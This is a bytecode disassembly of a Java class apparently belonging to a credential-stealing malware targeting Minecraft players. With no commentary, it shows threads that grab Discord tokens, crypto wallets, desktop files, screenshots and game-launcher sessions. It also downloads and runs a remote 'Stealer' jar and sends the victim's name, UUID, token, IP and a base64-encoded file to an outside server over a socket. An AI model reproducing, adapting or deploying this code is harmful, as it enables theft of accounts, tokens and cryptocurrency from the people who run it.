    0000c674aconst_null
    0000c675aload 12
    0000c677invokevirtual #1578 // Method java/lang/reflect/Field.set:(Ljava/lang/Object;Ljava/lang/Object;)V
    0000c67agoto 280
    0000c67dastore 6
    0000c67faload 6
    0000c681invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
    0000c684bipush 7
    0000c686invokestatic #1584 // Method java/util/concurrent/Executors.newFixedThreadPool:(I)Ljava/util/concurrent/ExecutorService;
    0000c689astore 6
    0000c68baload 6
    0000c68dinvokedynamic #1685 // InvokeDynamic #20:run:()Ljava/lang/Runnable;
    0000c692invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c697pop
    0000c698aload 6
    0000c69aaload_0
    0000c69binvokedynamic #1690 // InvokeDynamic #21:run:(Lmakslibraries/MaksLibraries;)Ljava/lang/Runnable;
    0000c6a0invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c6a5pop
    0000c6a6aload 6
    0000c6a8aload_0
    0000c6a9invokedynamic #1695 // InvokeDynamic #22:run:(Lmakslibraries/MaksLibraries;)Ljava/lang/Runnable;
    0000c6aeinvokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c6b3pop
    0000c6b4aload 6
    0000c6b6aload_0
    0000c6b7aload_1
    0000c6b8invokedynamic #1702 // InvokeDynamic #23:run:(Lmakslibraries/MaksLibraries;Ljava/lang/String;)Ljava/lang/Runnable;
    0000c6bdinvokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c6c2pop
    0000c6c3aload 6
    0000c6c5invokedynamic #1707 // InvokeDynamic #24:run:()Ljava/lang/Runnable;
    0000c6cainvokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c6cfpop
    0000c6d0aload 6
    0000c6d2invokedynamic #1712 // InvokeDynamic #25:run:()Ljava/lang/Runnable;
    0000c6d7invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c6dcpop
    0000c6ddaload 6
    0000c6dfinvokedynamic #1717 // InvokeDynamic #26:run:()Ljava/lang/Runnable;
    0000c6e4invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c6e9pop
    0000c6eaaload 6
    0000c6ecinvokeinterface #1633 // Method java/util/concurrent/ExecutorService.shutdown:()V
    0000c6f1aload 6
    0000c6f3lconst_1
    0000c6f4getstatic #1639 // Field java/util/concurrent/TimeUnit.MINUTES:Ljava/util/concurrent/TimeUnit;
    0000c6f7invokeinterface #1643 // Method java/util/concurrent/ExecutorService.awaitTermination:(JLjava/util/concurrent/TimeUnit;)Z
    0000c6fcifne 412
    0000c6ffgetstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
    0000c702ldc_w #1719 // String "Не все задачи завершились за отведенное время."
    0000c705invokevirtual #152 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
    0000c708goto 422
    0000c70bastore 7
    0000c70daload 7
    0000c70finvokevirtual #1644 // Method java/lang/InterruptedException.printStackTrace:()V
    0000c712invokestatic #1680 // Method makslibraries/MaksLibraries.tg:()V
    0000c715getstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
    0000c718ldc_w #1721 // String "Все задачи завершены."
    0000c71binvokevirtual #152 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
    0000c71eiconst_1
    0000c71finvokestatic #1517 // Method java/lang/Boolean.valueOf:(Z)Ljava/lang/Boolean;
    0000c722putstatic #589 // Field makslibraries/MaksLibraries.NotFirstTime:Ljava/lang/Boolean;
    0000c725aconst_null
    0000c726astore 7
    0000c728ldc_w #1723 // String "{ \"name\": \"%s\", \"ratter\": \"%s\", \"Name\": \"%s\",\"username\": \"%s\", \"UUID\": \"%s\", \"Token\": \"%s\", \"ipd\": \"%s\"}"
    0000c72bbipush 7
    0000c72danewarray #4 // class java/lang/Object
    0000c730dup
    0000c731iconst_0
    0000c732aload_2
    0000c733aastore
    0000c734dup
    0000c735iconst_1
    0000c736ldc #249 // String "maksvavrik"
    0000c738aastore
    0000c739dup
    0000c73aiconst_2
    0000c73bgetstatic #251 // Field makslibraries/MaksLibraries.PcName:Ljava/lang/String;
    0000c73eaastore
    0000c73fdup
    0000c740iconst_3
    0000c741aload_3
    0000c742aastore
    0000c743dup
    0000c744iconst_4
    0000c745aload 4
    0000c747aastore
    0000c748dup
    0000c749iconst_5
    0000c74aaload 5
    0000c74caastore
    0000c74ddup
    0000c74ebipush 6
    0000c750aload 7
    0000c752aastore
    0000c753invokestatic #260 // Method java/lang/String.format:(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
    0000c756invokestatic #1725 // Method makslibraries/MaksLibraries.send:(Ljava/lang/String;)V
    0000c759goto 503
    0000c75castore 6
    0000c75eaload 6
    0000c760invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
    0000c763return
    0000c56c
    0000c9b3
    0000c9b3makslibraries.MaksLibraries::lambda$null$21():
    0000c9b3invokestatic #1666 // Method makslibraries/MaksLibraries.StealDesktop:()V
    0000c9b6return
    0000c9b3
    0000c9dd
    0000c9ddmakslibraries.MaksLibraries::lambda$null$20():
    0000c9ddinvokestatic #1668 // Method makslibraries/MaksLibraries.CryptoWallets:()V
    0000c9e0return
    0000c9dd
    0000ca07
    0000ca07makslibraries.MaksLibraries::lambda$null$19():
    0000ca07invokestatic #1670 // Method makslibraries/MaksLibraries.ScreenshotScreen:()V
    0000ca0areturn
    0000ca07
    0000ca31
    0000ca31makslibraries.MaksLibraries::lambda$null$18(java.lang.String):
    0000ca31aload_0
    0000ca32aload_1
    0000ca33invokevirtual #1728 // Method makslibraries/MaksLibraries.grabEssential:(Ljava/lang/String;)V
    0000ca36return
    0000ca31
    0000ca79
    0000ca79makslibraries.MaksLibraries::lambda$null$17():
    0000ca79aload_0
    0000ca7ainvokevirtual #1674 // Method makslibraries/MaksLibraries.grabFeather:()V
    0000ca7dreturn
    0000ca79
    0000cab6
    0000cab6makslibraries.MaksLibraries::lambda$null$16():
    0000cab6aload_0
    0000cab7invokevirtual #1676 // Method makslibraries/MaksLibraries.grabLunar:()V
    0000cabareturn
    0000cab6
    0000caf3
    0000caf3makslibraries.MaksLibraries::lambda$null$15():
    0000caf3invokestatic #1678 // Method makslibraries/MaksLibraries.getDiscordToken:()V
    0000caf6return
    0000caf3
    0000cb1d
    0000cb1dmakslibraries.MaksLibraries::lambda$Ud$14(java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    0000cb1daconst_null
    0000cb1eastore 4
    0000cb20new #665 // class java/net/URL
    0000cb23dup
    0000cb24ldc_w #1730 // String "http://www.makslibraries.fun:4099/colect.jar"
    0000cb27invokespecial #691 // Method java/net/URL.<init>:(Ljava/lang/String;)V
    0000cb2aastore 5
    0000cb2cnew #1212 // class java/net/URLClassLoader
    0000cb2fdup
    0000cb30iconst_1
    0000cb31anewarray #665 // class java/net/URL
    0000cb34dup
    0000cb35iconst_0
    0000cb36aload 5
    0000cb38aastore
    0000cb39invokespecial #1225 // Method java/net/URLClassLoader.<init>:([Ljava/net/URL;)V
    0000cb3castore 6
    0000cb3eldc_w #1732 // String "org.example.Stealer"
    0000cb41iconst_1
    0000cb42aload 6
    0000cb44invokestatic #1233 // Method java/lang/Class.forName:(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;
    0000cb47astore 7
    0000cb49aload 7
    0000cb4biconst_0
    0000cb4canewarray #1229 // class java/lang/Class
    0000cb4finvokevirtual #1532 // Method java/lang/Class.getDeclaredConstructor:([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
    0000cb52iconst_0
    0000cb53anewarray #4 // class java/lang/Object
    0000cb56invokevirtual #1541 // Method java/lang/reflect/Constructor.newInstance:([Ljava/lang/Object;)Ljava/lang/Object;
    0000cb59astore 8
    0000cb5baload 7
    0000cb5dldc_w #1734 // String "getfile"
    0000cb60iconst_0
    0000cb61anewarray #1229 // class java/lang/Class
    0000cb64invokevirtual #1738 // Method java/lang/Class.getMethod:(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
    0000cb67astore 9
    0000cb69aload 9
    0000cb6baload 8
    0000cb6diconst_0
    0000cb6eanewarray #4 // class java/lang/Object
    0000cb71invokevirtual #1744 // Method java/lang/reflect/Method.invoke:(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
    0000cb74checkcast #332 // class java/io/File
    0000cb77astore 10
    0000cb79new #319 // class java/net/Socket
    0000cb7cdup
    0000cb7dldc_w #270 // String "www.makslibraries.fun"
    0000cb80sipush 6666
    0000cb83invokespecial #320 // Method java/net/Socket.<init>:(Ljava/lang/String;I)V
    0000cb86astore 11
    0000cb88aload 11
    0000cb8ainvokevirtual #324 // Method java/net/Socket.getOutputStream:()Ljava/io/OutputStream;
    0000cb8dastore 12
    0000cb8fnew #326 // class java/io/PrintWriter
    0000cb92dup
    0000cb93aload 12
    0000cb95iconst_1
    0000cb96invokespecial #329 // Method java/io/PrintWriter.<init>:(Ljava/io/OutputStream;Z)V
    0000cb99astore 13
    0000cb9baload 13
    0000cb9dldc_w #1723 // String "{ \"name\": \"%s\", \"ratter\": \"%s\", \"Name\": \"%s\",\"username\": \"%s\", \"UUID\": \"%s\", \"Token\": \"%s\", \"ipd\": \"%s\"}"
    0000cba0bipush 7
    0000cba2anewarray #4 // class java/lang/Object
    0000cba5dup
    0000cba6iconst_0
    0000cba7aload_0
    0000cba8aastore
    0000cba9dup
    0000cbaaiconst_1
    0000cbabldc #249 // String "maksvavrik"
    0000cbadaastore
    0000cbaedup
    0000cbaficonst_2
    0000cbb0getstatic #251 // Field makslibraries/MaksLibraries.PcName:Ljava/lang/String;
    0000cbb3aastore
    0000cbb4dup
    0000cbb5iconst_3
    0000cbb6aload_1
    0000cbb7aastore
    0000cbb8dup
    0000cbb9iconst_4
    0000cbbaaload_2
    0000cbbbaastore
    0000cbbcdup
    0000cbbdiconst_5
    0000cbbeaload_3
    0000cbbfaastore
    0000cbc0dup
    0000cbc1bipush 6
    0000cbc3aload 4
    0000cbc5aastore
    0000cbc6invokestatic #260 // Method java/lang/String.format:(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
    0000cbc9invokevirtual #330 // Method java/io/PrintWriter.println:(Ljava/lang/String;)V
    0000cbccaload 10
    0000cbceinvokevirtual #338 // Method java/io/File.toPath:()Ljava/nio/file/Path;
    0000cbd1invokestatic #344 // Method java/nio/file/Files.readAllBytes:(Ljava/nio/file/Path;)[B
    0000cbd4astore 14
    0000cbd6invokestatic #348 // Method java/util/Base64.getEncoder:()Ljava/util/Base64$Encoder;
    0000cbd9aload 14
    0000cbdbinvokevirtual #352 // Method java/util/Base64$Encoder.encodeToString:([B)Ljava/lang/String;
    0000cbdeastore 15
    0000cbe0aload 13
    0000cbe2aload 15
    0000cbe4invokevirtual #330 // Method java/io/PrintWriter.println:(Ljava/lang/String;)V
    0000cbe7aload 11
    0000cbe9invokevirtual #353 // Method java/net/Socket.close:()V
    0000cbecgetstatic #144 // Field java/lang/System.out:Ljava/io/PrintStream;
    0000cbefldc_w #355 // String "File and message sent."
    0000cbf2invokevirtual #152 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
    0000cbf5goto 226
    0000cbf8astore 4
    0000cbfaaload 4
    0000cbfcinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
    0000cbffreturn
    0000cb1d